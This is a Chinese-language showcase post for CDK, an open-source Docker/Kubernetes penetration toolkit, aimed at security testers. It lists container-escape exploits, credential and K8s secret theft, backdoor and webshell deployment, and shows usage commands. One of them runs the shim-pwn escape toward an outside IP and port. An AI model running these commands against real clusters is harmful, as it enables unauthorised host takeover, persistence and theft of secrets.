404星链计划 | CDK:一款针对容器场景的多功能渗透工具
404星链计划即将迎来改版更新啦,我们会在项目展示、奖励计划等方面有所优化调整,同时会新收录几个优秀的开源安全工具。在此之前,让我们一同回顾一下星链计划自2020年8月上线以来我们收录过的部分项目,它们中很多已经为大家熟知,成为日常工作的一部分,有些还有待你去探索新的利用方式~ 今天介绍的项目是CDK。
另外欢迎加入404星链计划社群,请在文末识别运营同学二维码,添加时备注“星链计划”。
项目名称:CDK
项目作者:CDK-Team
项目地址:
https://github.com/cdk-team/CDK/
场景介绍
评估容器内部弱点、搜集敏感信息。 提供多种容器逃逸的漏洞利用方式。 提供K8s环境的多种持久化、横向移动方式。 提供原生的进程、网络命令,便于测试者自定义攻击操作。
功能
Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。 Exploit: 提供容器逃逸、持久化、横向移动等利用方式。 Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。
Evaluate 模块
用于本地信息收集,寻找可用的逃逸点,使用 --full 参数时会包含本地文件扫描。
| 类别 | 检测点 | 已支持 | 详细文档 |
|---|---|---|---|
| 本地信息收集 | OS基本信息 | ✔ | link |
| 本地信息收集 | 可用的Capabilities | ✔ | link |
| 本地信息收集 | 可用的Linux命令 | ✔ | link |
| 本地信息收集 | 挂载情况 | ✔ | link |
| 本地信息收集 | 网络namespace隔离情况 | ✔ | link |
| 本地信息收集 | 环境变量 | ✔ | link |
| 本地信息收集 | 敏感服务 | ✔ | link |
| 本地信息收集 | 敏感目录及文件 | ✔ | link |
| 本地信息收集 | kube-proxy边界绕过(CVE-2020-8558) | ✔ | link |
| 网络探测 | K8s Api-server信息 | ✔ | link |
| 网络探测 | K8s Service-account信息 | ✔ | link |
网络探测 | 云厂商Metadata API | ✔ | link |
Exploit 模块
执行指定的exp。
| 类别 | 功能 | 调用名 | 已支持 | 文档 |
|---|---|---|---|---|
| 容器逃逸 | docker-runc CVE-2019-5736 | runc-pwn | ✔ | |
| 容器逃逸 | containerd-shim CVE-2020-15257 | shim-pwn | ✔ | link |
| 容器逃逸 | docker.sock逃逸PoC(docker-in-docker) | docker-sock-check | ✔ | link |
| 容器逃逸 | docker.sock部署恶意镜像 | docker-sock-deploy | ✔ | link |
| 容器逃逸 | 挂载逃逸(特权容器) | mount-disk | ✔ | link |
| 容器逃逸 | Cgroup逃逸(特权容器) | mount-cgroup | ✔ | link |
| 容器逃逸 | Procfs目录挂载逃逸 | mount-procfs | ✔ | link |
| 容器逃逸 | Ptrace逃逸PoC | check-ptrace | ✔ | link |
| 容器逃逸 | lxcfs cgroup错误配置逃逸 | lxcfs-rw | ✔ | link |
| 容器逃逸 | 重写Cgroup以访问设备 | rewrite-cgroup-devices | ✔ | link |
| 网络探测 | K8s组件探测 | service-probe | ✔ | link |
| 信息收集 | 检查和获取Istio元信息 | istio-check | ✔ | link |
| 远程控制 | 反弹shell | reverse-shell | ✔ | link |
| 信息窃取 | 扫描AK及API认证凭据 | ak-leakage | ✔ | link |
| 信息窃取 | 窃取K8s Secrets | k8s-secret-dump | ✔ | link |
| 信息窃取 | 窃取K8s Config | k8s-configmap-dump | ✔ | link |
| 持久化 | 部署WebShell | webshell-deploy | ✔ | link |
| 持久化 | 部署后门Pod | k8s-backdoor-daemonset | ✔ | link |
| 持久化 | 部署影子K8s api-server | k8s-shadow-apiserver | ✔ | link |
| 持久化 | K8s MITM攻击(CVE-2020-8554) | k8s-mitm-clusterip | ✔ | link |
| 持久化 | 部署K8s CronJob | k8s-cronjob | ✔ | link |
Tool 模块
| 子命令 | 描述 | 已支持 | 文档 |
|---|---|---|---|
使用方法
https://github.com/cdk-team/CDK/releases/
Container DucK
Zero-dependency docker/k8s penetration toolkit by <i@cdxy.me>
Find tutorial, configuration and use-case in https://github.com/Xyntax/CDK/wiki
Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
Evaluate:
cdk evaluate Gather information to find weekness inside container.
cdk evaluate --full Enable file scan during information gathering.
Exploit:
cdk run --list List all available exploits.
cdk run <exploit> [<args>...] Run single exploit, docs in https://github.com/Xyntax/CDK/wiki
Tool:
vi <file> Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl (get|post) <url> <data> Make request to K8s api-server.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help Show this help msg.
-v --version Show version.工具演示
评估容器弱点
cdk evaluate --fullcontainerd-shim(CVE-2020-15257)漏洞逃逸
./cdk run shim-pwn 47.104.151.168 111docker.sock漏洞逃逸
/挂载到容器内部的/host目录下,便于通过后门容器修改宿主机本地文件(如crontab)来完成逃逸。# deploy image from dockerhub
./cdk run docker-sock-deploy /var/run/docker.sock alpine:latest
# deploy image from user image registry
./cdk run docker-sock-deploy registry.cn-shanghai.aliyuncs.com/sandboxed-container/cve-2019-5736:change_root_pwd部署K8s shadow apiserver
./cdk run k8s-shadow-apiserver default404星链计划 | 抗击黑客:如何利用Elkeid构建入侵检测能力
劫持 Golang 编译
rdp 协议攻击面与安全性分析